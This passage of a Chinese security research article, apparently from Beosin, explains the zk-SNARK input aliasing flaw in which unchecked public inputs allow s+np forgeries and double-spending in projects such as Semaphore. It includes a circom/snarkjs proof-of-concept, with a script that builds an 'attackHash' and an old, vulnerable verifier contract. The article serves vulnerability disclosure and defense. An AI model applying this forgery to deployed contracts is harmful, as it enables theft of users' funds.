深度剖析零知识证明 zk-SNARK 漏洞：为什么零知识证明系统并非万无一失？-炒币网

本文将深入探讨 K-SNARK 的背景，深度部析零知识证明 zk-SNARK 漏洞: 输入假名漏洞是如何被挖掘出来的?

封面：Photo by Maria Teneva on Unsplash

原用标题：Beosin | 深度剖析零知识证明 zk-SNARK 漏洞：为什么零知识证明系统并非万无一失？

随着数字资产和区块链技术的快速发展，数字隐私保护和安全性成为了越来越受关注的话题。在这个背景下，一种名为” 零知识证明（Zero-Knowledge Proof）” 的技术正在逐渐崭露头角。

零知识证明技术可以在不泄露任何信息的情况下证明某些事情的真实性，被广泛应用于保护隐私和安全性。其中，基于零知识证明技术的 zk-SNARK 近期备受瞩目，成为数字资产和区块链技术领域的热门话题，但有一些安全问题却往往被我们忽视。

Beosin 将陆续推出 zk 零知识证明安全研究，第一篇，本文将深入探讨 zk-SNARK 的背景，深度剖析零知识证明 zk-SNARK 漏洞：输入假名漏洞是如何被挖掘出来的？

1. 什么是 zk-SNARK？

zk-SNARK（Zero-Knowledge Succinct Non-Interactive Argument of Knowledge）是一种基于零知识证明的技术，可以在不泄露真实信息的情况下证明某个声明的真实性。

它是一种非常高效的零知识证明技术，可以在非常短的时间内生成和验证证明，同时保护隐私和安全性。
零知识证明项目 Semaphore 上曾经被发现了一个可以导致双花的输入假名漏洞，漏洞提出者 poma 给出了两笔成功的示例交易：

该漏洞影响范围非常广，不止涉及到众多知名 zkSNARKs 第三方库，连众多 DApp 项目方也不能幸免，本文最后将列举出各个项目方具体的漏洞代码以及修复方案，我们先对输入假名漏洞进行详细介绍。

2. 漏洞原理

Semaphore 项目允许以太坊用户在不透漏其原始身份的情况下，以某个团队成员的身份发送投票等操作，其中所有的团队成员组成了一棵默克尔树，每个成员是一个叶子结点。合约需要团队成员提供一个零知识证明，以证明其身份的合法性。为了防止身份伪造，每个证明只能使用一次，因此合约中会存储已经验证过的证明列表，如果用户提供了使用过的证明，程序就会报错。具体的实现代码如下：

可以看到，上述代码首先调用 verifyProof 校验零知识证明的合法性，接着通过证明参数 nullifiers_hash 校验该证明是否是初次使用，但由于未对 nullifiers_hash 进行完整的合法性检查，使得攻击者可以伪造出多个证明通过校验，实现双花攻击。具体地说，由于合约变量类型 uint256 能够表示的数值范围远大于零知识证明电路，而此处代码仅考虑了 nullifiers_hash 本身是否已被使用，未限制合约中的 nullifiers_hash 的取值范围，使得攻击者利用密码学中的模运算可以伪造多个证明通过合约校验。因为参数的取值范围涉及到一些零知识证明相关的数学知识，并且采用不同的零知识证明算法对应不同的取值范围，因此后文将详细介绍。

首先如果要在以太坊中生成和验证 zk-SNARK 证明，需要使用 F_p-arithmetic 有限域椭圆曲线电路，其中曲线的一般方程如下：

可以发现曲线上的点都会进行一个模 p 运算，所以电路生成的证明参数 s 值取值范围为 [0,1,…,p-1]，但是链上合约的变量类型 uint256 取值范围为 [0,115792089237316195423570985008687907853269984665640564039457584007913129639935]，那么当合约的变量范围大于电路取值范围时，存在下列多个具有相同输出的证明参数值：

综上，只要知道了其中一个合法的证明参数 s，uint256 范围内的 s+np( n = 1,2,…,n) 都可以满足验证计算，于是攻击者在获取到任意验证通过的 s，即可构造 max(uint256)/p 个 s 都可以通过校验，具体的攻击流程如下：上文可知，参数的取值范围由 p 决定，而不同类型的 F_p 对应不同的 p，需要根据具体使用的零知识算法确定，如：

EIP-196 中定义的 BN254 曲线（也称为 ALT_BN128 曲线）p = 21888242871839275222246405745257275088548364400416034343698204186575808495617

circom2 引入了两个新的素数，即 BLS12-381 曲线 p = 52435875175126190479447740508185965837690552500527637822603658699938581184513

以 ALT_BN128 曲线为例，共计可以生成 5 个不同的证明参数通过验证，计算过程如下：

3. 漏洞复现

由于 Semaphore 项目本身代码已经更改，重新部署整个项目较为繁杂，因此我们使用目前常用的零知识证明编译器 circom 编写 PoC 复现整个攻击过程。为了方便大家更好的理解整个流程，这里我们先以 circom 为例，介绍 Groth16 算法的零知识证明生成和验证过程。图源：https://docs.circom.io/1. 项目方需要设计一个算术电路并使用 circom 语法将其编写为一个电路描述文件 *.circom2. 编译电路文件，并将其转化为 R1CS 的电路描述文件 3. 使用 snarkjs 库根据输入文件 input.json 计算出对应的 witness4. 接着通过可信设置生成一个证明密钥 Proving key 和验证密钥 Validation key，其中 Proving key 用于生成证明 Proof， Validation key 用于验证 Proof，最后用户利用密钥生成对应的零知识证明 Proof5. 验证用户的证明接下来我们将按照上述流程分步进行介绍。

3.1 编写 multiplier2.circom

为了方便大家理解，我们直接使用 circom 官方的 demo，具体代码如下：

pragma circom 2.0.0;template Multiplier2() {    signal input a;    signal input b;    signal output c;    c <== a*b; }
component main = Multiplier2();

该电路中有两个输入信号 a 和 b，一个输出信号 c，并且 c 的值是 a 和 b 相乘的结果

3.2 编译电路

使用下列命令行编译 multiplier2.circom，并将其转化为 R1CS：

circom multiplier2.circom --r1cs --wasm --sym --c

编译后会生成 4 个文件，其中
•–r1cs：生成的 circuit.r1cs 是二进制格式的电路约束文件•–wasm：生成的 multiplier2_js 文件夹包含 wasm 汇编代码，和生成 witness 所需的其他文件目录（generate_witness.js、multiplier2.wasm）•–sym：生成文件夹 multiplier2.sym，是一个符号文件，用于调试或以注释模式打印约束系统•–c：生成文件夹 multiplier2_cpp，包含生成 witness 所需的 c 代码文件
注意：生成 witness 有两种方式，一种是使用 wasm，一种是使用刚生成的 C++代码，如果是大型电路的话使用 C++代码比 wasm 效率更高

3.3 计算 witness

在 multiplier2_js 文件夹下创建 input.json 文件，该文件包含了以标准 json 格式编写的输入，此时使用字符串而不是数字，是因为 js 不能准确处理大于 2^{53} 的数，针对指定的 input.json 生成对应的 witness：

node generate_witness.js multiplier2.wasm input.json witness.wtns

3.4 可信设置

该步骤主要是选取零知识证明需要的椭圆曲线类型，以及生成一系列原始密钥*.key 文件，其中 multiplier2_0000.zkey 包含证明密钥、验证密钥，multiplier2_0001.zkey 则是验证密钥，最终导出的验证密钥文件是 verification_key.json

snarkjs powersoftau new bn128 12 pot12_0000.ptau -vsnarkjs powersoftau contribute pot12_0000.ptau pot12_0001.ptau --name="First contribution" -vsnarkjs powersoftau prepare phase2 pot12_0001.ptau pot12_final.ptau -vsnarkjs groth16 setup multiplier2.r1cs pot12_final.ptau multiplier2_0000.zkeysnarkjs zkey contribute multiplier2_0000.zkey multiplier2_0001.zkey --name="1st Contributor Name" -vsnarkjs zkey export verificationkey multiplier2_0001.zkey verification_key.json

3.5 生成证明

利用 snarkjs 有两种方式可以生成证明，一种是命令行，一种是脚本生成。由于我们需要构造攻击向量，所以这里主要使用脚本生成。

3.5.1 生成正常 publicSignal

snarkjs groth16 prove multiplier2_0001.zkey witness.wtns proof.json public.json

该命令会输出两个文件，其中 proof.json 是生成的证明文件，public.json 是公共输入值。

3.5.2 生成攻击 publicSignal

async function getProof() {    let inputA = "7"    let inputB = "11"    const { proof, publicSignals } = await snarkjs.groth16.fullProve({ a: inputA, b: inputB }, "Multiplier2.wasm", "multiplier2_0001.zkey")    console.log("Proof: ")    console.log(JSON.stringify(proof, null, 1));
    let q = BigInt("21888242871839275222246405745257275088548364400416034343698204186575808495617")    let originalHash = publicSignals    let attackHash = BigInt(originalHash) + q
    console.log("originalHash: " + publicSignals)    console.log("attackHash: " + attackHash)}

生成的证明 Proof、原始验证参数 originalHash 和攻击参数 attackHash 如下图所示：

3.6 验证证明

证明的验证方式同样也有两种，一种是使用 snarkjs 库进行验证，一种是合约验证。我们这里主要使用链上合约的验证方式验证原始证明参数 originalHash、攻击证明参数 attackHash。
这里我们使用 snarkjs 自动生成一个验证合约 verifier.sol，注意最新版本 0.6.10 的 snarkjs 生成的合约已经修复了这个问题，所以我们使用旧版本生成合约：

snarkjs zkey export solidityverifier multiplier2_0001.zkey verifier.sol

合约关键代码如下：

function verify(uint[] memory input, Proof memory proof) internal view returns (uint) {        VerifyingKey memory vk = verifyingKey();        require(input.length + 1 == vk.IC.length,"verifier-bad-input");        // Compute the linear combination vk_x        Pairing.G1Point memory vk_x = Pairing.G1Point(0, 0);        for (uint i = 0; i < input.length; i++)            vk_x = Pairing.addition(vk_x, Pairing.scalar_mul(vk.IC[i + 1], input[i]));        vk_x = Pairing.addition(vk_x, vk.IC[0]);        if (!Pairing.pairingProd4(            Pairing.negate(proof.A), proof.B,            vk.alfa1, vk.beta2,            vk_x, vk.gamma2,            proof.C, vk.delta2        )) return 1;        return 0;}

此时，使用 originalHash 验证通过：